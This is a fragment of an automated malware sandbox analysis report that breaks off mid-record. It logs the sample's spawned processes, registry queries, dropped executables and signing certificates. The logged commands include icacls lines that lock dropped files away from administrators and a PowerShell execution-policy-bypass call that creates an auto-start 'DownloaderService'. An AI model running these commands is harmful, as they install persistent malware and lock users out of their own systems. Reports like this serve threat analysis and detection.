"NUMBER_OF_PROCESSORS" Process "sROBvkl9.exe" (UID: 00000000-00007564) was launched with missing environment variables: "PROMPT, USERDNSDOMAIN" Process "cmd.exe" (UID: 00000000-00008072) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", OneDrive="%USERPROFILE%\OneDrive", USERDNSDOMAIN="DESKTOP-FVVF82A", HOMEPATH="\Users\JBUzjYl", HOMEDRIVE="C:"" Process "cmd.exe" (UID: 00000000-00008072) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP, NUMBER_OF_PROCESSORS"65:T426,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")66:T105c,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",12,"System.ServiceProcess Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a",03,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: 074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe.log] Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll",0" [Source: f428f5cd71.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007344-00000C2B-402196679] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007344-00000C2B-402566535] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007344-00000C2B-402672990] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007344-00000C2B-402736649] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007344-00000C2B-402936628] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007344-00000C2B-402981727] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007344-00000C2B-403040777] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007344-00000C2B-403143691] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007344-00000C2B-403742092] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00007344-00000C2B-404142279] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00007344-00000C2B-404258418] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007344-00000C2B-405625848] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007344-00000C2B-405807134] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007344-00000C2B-427960684] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005808-00000C2B-413890150] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005808-00000C2B-414100024] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005808-00000C2B-414392704] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005808-00000C2B-414488457] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005808-00000C2B-414592157] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005808-00000C2B-415022578] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005808-00000C2B-415166615] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005808-00000C2B-415208310] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005808-00000C2B-415342679]67:Tcb4,Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00004696) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00000808) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYS ..." (UID: 00000000-00007588) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYSTE ..." (UID: 00000000-00003752) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Admini ..." (UID: 00000000-00006640) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Administ ..." (UID: 00000000-00006856) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00003676) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00004360) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYS ..." (UID: 00000000-00007996) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYSTE ..." (UID: 00000000-00005284) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Admini ..." (UID: 00000000-00006500) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Administ ..." (UID: 00000000-00007220) Spawned process "cmd.exe" with commandline "/c powershell -ExecutionPolicy Bypass -Command "New-Service -Nam ..." (UID: 00000000-00002988), Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -Command "New-Service -Name ..." (UID: 00000000-00005808) Spawned process "cmd.exe" with commandline "/c net start "DownloaderService"" (UID: 00000000-00008164) Spawned process "net.exe" with commandline "net start "DownloaderService"" (UID: 00000000-00007924) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 start "DownloaderService"" (UID: 00000000-00006632) Spawned process "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (UID: 00000000-00004268) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\sROBvkl9.exe" /setowner "SYSTEM"" (UID: 00000000-00001896) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\sROBvkl9.exe" /setowner "SYSTEM"" (UID: 00000000-00007184) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\sROBvkl9.exe" /inheritance:r /grant SYSTEM: ..." (UID: 00000000-00007720) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\sROBvkl9.exe" /inheritance:r /grant SYSTEM:F ..." (UID: 00000000-00004416) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\sROBvkl9.exe" /remove:d Everyone Administra ..." (UID: 00000000-00000784) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\sROBvkl9.exe" /remove:d Everyone Administrato ..." (UID: 00000000-00005712) Spawned process "sROBvkl9.exe" (UID: 00000000-00007564)68:Tcb4,Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00004696) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00000808) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYS ..." (UID: 00000000-00007588) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYSTE ..." (UID: 00000000-00003752) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Admini ..." (UID: 00000000-00006640) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Administ ..." (UID: 00000000-00006856) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00003676) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00004360) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYS ..." (UID: 00000000-00007996) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYSTE ..." (UID: 00000000-00005284) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Admini ..." (UID: 00000000-00006500) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Administ ..." (UID: 00000000-00007220) Spawned process "cmd.exe" with commandline "/c powershell -ExecutionPolicy Bypass -Command "New-Service -Nam ..." (UID: 00000000-00002988), Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -Command "New-Service -Name ..." (UID: 00000000-00005808) Spawned process "cmd.exe" with commandline "/c net start "DownloaderService"" (UID: 00000000-00008164) Spawned process "net.exe" with commandline "net start "DownloaderService"" (UID: 00000000-00007924) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 start "DownloaderService"" (UID: 00000000-00006632) Spawned process "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (UID: 00000000-00004268) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\sROBvkl9.exe" /setowner "SYSTEM"" (UID: 00000000-00001896) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\sROBvkl9.exe" /setowner "SYSTEM"" (UID: 00000000-00007184) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\sROBvkl9.exe" /inheritance:r /grant SYSTEM: ..." (UID: 00000000-00007720) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\sROBvkl9.exe" /inheritance:r /grant SYSTEM:F ..." (UID: 00000000-00004416) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\sROBvkl9.exe" /remove:d Everyone Administra ..." (UID: 00000000-00000784) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\sROBvkl9.exe" /remove:d Everyone Administrato ..." (UID: 00000000-00005712) Spawned process "sROBvkl9.exe" (UID: 00000000-00007564)69:T81a,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: AC:96:88:AB:70:09:D2:60:7D:1B:CC:0A:85:81:20:86:84:86:43:F5; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 56:73:66:63:8B:F3:67:63:06:66:C5:AE:9A:F1:42:1F:B2:24:8F:87; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 4A:7A:E5:C0:AB:80:C9:25:E0:D1:7E:CE:DB:5D:C2:B6:45:F2:9B:DF; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information)6a:T902,Found string "New-Service -Name DownloaderService -BinaryPathName C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe -StartupType Automatic" (Indicator: "New-Service"; File: "AMSI") Found string "/c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" -StartupType Automatic"" (Indicator: "New-Service"; File: "cmd.exe") Found string "powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" -StartupType Automatic"" (Indicator: "New-Service"; File: "powershell.exe") Found string "New-Service -Name DownloaderService -BinaryPathName C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe -StartupType Automatic" (Indicator: "New-Service"; Source: "00000000-00005808.00000000.92787.03070000.00000004.mdmp, 00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000000.92787.031E1000.00000004.mdmp, 00000000-00005808.00000000.92787.04B70000.00000004.mdmp, 00000000-00005808.00000000.92787.052C0000.00000004.mdmp, 00000000-00005808.00000001.93079.03070000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.031E1000.00000004.mdmp") Found string "powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" -StartupType Automatic"" (Indicator: "New-Service"; Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp") Found string "New-Service -Nam" (Indicator: "New-Service"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "HostApplication=powershell -ExecutionPolicy Bypass -Command New-Service -Name DownloaderService -BinaryPathName C:\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe -StartupType Automatic" (Indicator: "New-Service"; Source: "00000000-00005808.00000001.93079.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.08BD0000.00000004.mdmp")6b:T704,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp")6c:T62b,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")6d:T138a,"KoC0dj3.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- [targetUID: N/A] "systemhelper.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%WINDIR%\systemhelper.exe]- [targetUID: 00000000-00004124] "RKXRn1l.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "7z.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 6 sections"- Location: [%TEMP%\hater\7z.exe]- [targetUID: 00000000-00007624] "random_1_.exe" has type "Unknown"- [targetUID: N/A] "v3441.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "winloghelper.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%WINDIR%\winloghelper.exe]- [targetUID: 00000000-00001648] "6url4X8.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "YoUSpNJ_1_.exe" has type "Unknown"- [targetUID: N/A] "5GFpJxh_1_.exe" has type "Unknown"- [targetUID: N/A] "320c753cfb.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "eNLe4nm_1_.exe" has type "Unknown"- [targetUID: N/A] "random_2_.exe" has type "Unknown"- [targetUID: N/A] "NSudoLG.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\hater\NSudoLG.exe]- [targetUID: 00000000-00007624] "nircmd.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- Location: [%TEMP%\hater\nircmd.exe]- [targetUID: 00000000-00002952] "fuckingdllENCR_1_.dll" has type "Unknown"- [targetUID: N/A] "msiexec.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 7 sections"- [targetUID: N/A] "svchost.exe" has type "PE32 executable for MS Windows 10.00 (GUI) Intel i386 6 sections"- Location: [%TEMP%\svchost.exe]- [targetUID: 00000000-00004360] "cecho.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\hater\cecho.exe]- [targetUID: 00000000-00007624] "f428f5cd71.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\12178870101\f428f5cd71.exe]- [targetUID: 00000000-00001648] "HJz61iU.bat" has type "ASCII text with very long lines (457) with CRLF line terminators"- Location: [%TEMP%\HJz61iU.bat]- [targetUID: 00000000-00004404] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00005808] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe.log]- [targetUID: 00000000-00007344] "f428f5cd71.exe.log" has type "CSV ASCII text"- [targetUID: N/A] "land.zip" has type "Zip archive data made by v3.1 extract using at least v2.0 last modified last modified Sun Aug 21 2025 16:26:54 uncompressed size 1384448 method=AES Encrypted"- Location: [%TEMP%\hater\land.zip]- [targetUID: 00000000-00007624] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005808] "WindowsLogsHelper.xml" has type "XML 1.0 document Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [%TEMP%\WindowsLogsHelper.xml]- [targetUID: 00000000-00007344] "info_1_.htm" has type "Unknown"- [targetUID: N/A] "text_1_" has type "Unknown"- [targetUID: N/A] "service_1_.htm" has type "Unknown"- [targetUID: N/A] "KoC0dj3_1_.exe" has type "Unknown"- [targetUID: N/A] "RKXRn1l_1_.exe" has type "Unknown"- [targetUID: N/A] "24d2ec1287.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- Location: [%TEMP%\12178860101\24d2ec1287.exe]- [targetUID: 00000000-00001648] "v3441_1_.exe" has type "Unknown"- [targetUID: N/A] "sROBvkl9.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%WINDIR%\sROBvkl9.exe]- [targetUID: 00000000-00007360] "6url4X8_1_.exe" has type "Unknown"- [targetUID: N/A] "5GFpJxh.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "YoUSpNJ.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "adb3c61c5e.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\12178880101\adb3c61c5e.exe]- [targetUID: 00000000-00001648] "eNLe4nm.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "f574efac2b.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "service_2_.htm" has type "Unknown"- [targetUID: N/A] "success_1_.htm" has type "Unknown"- [targetUID: N/A]6e:T7a4,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\074CEC0065BD7FA9AD545A44A73AB75074B9A5A59F7EE357CB50A918FE41BE2E.EXE"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "")6f:Tecb,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (Access type: "QUERYVAL"; 